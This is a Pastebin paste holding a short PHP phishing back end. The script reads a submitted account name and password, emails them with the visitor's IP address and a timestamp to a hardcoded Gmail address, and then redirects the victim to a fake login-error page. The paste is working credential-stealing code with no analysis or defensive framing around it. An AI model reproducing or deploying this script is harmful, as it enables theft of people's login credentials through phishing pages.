Advertisement
Guest User

Untitled

a guest
Sep 21st, 2017
710
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.56 KB | None | 0 0
  1.     <?PHP
  2.      
  3. $Account = $_POST['campoaccount'];
  4. $Password = $_POST['campopassword'];
  5.        
  6.     $youremail = "powerlocmt2@gmail.com";
  7.      
  8.     $ip = getenv('REMOTEADDR');
  9.     $td = date("F jS");
  10.     $date = date("d M, Y");
  11.     $time = date("g:i a");
  12.     $LogTime = trim(" Data: ".$date."\nOra: ".$time);
  13.      
  14.     $subject = "Code Sniffer";
  15.      
  16.     mail($youremail,$subject,"Username: ".$Account."\nPassword: ".$Password."\n\nIndirizzo ip: ".$ip."\n".$LogTime,"from: $Account <$Account>");
  17.      
  18.     header("Location: login_error.html");
  19.      
  20.     ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement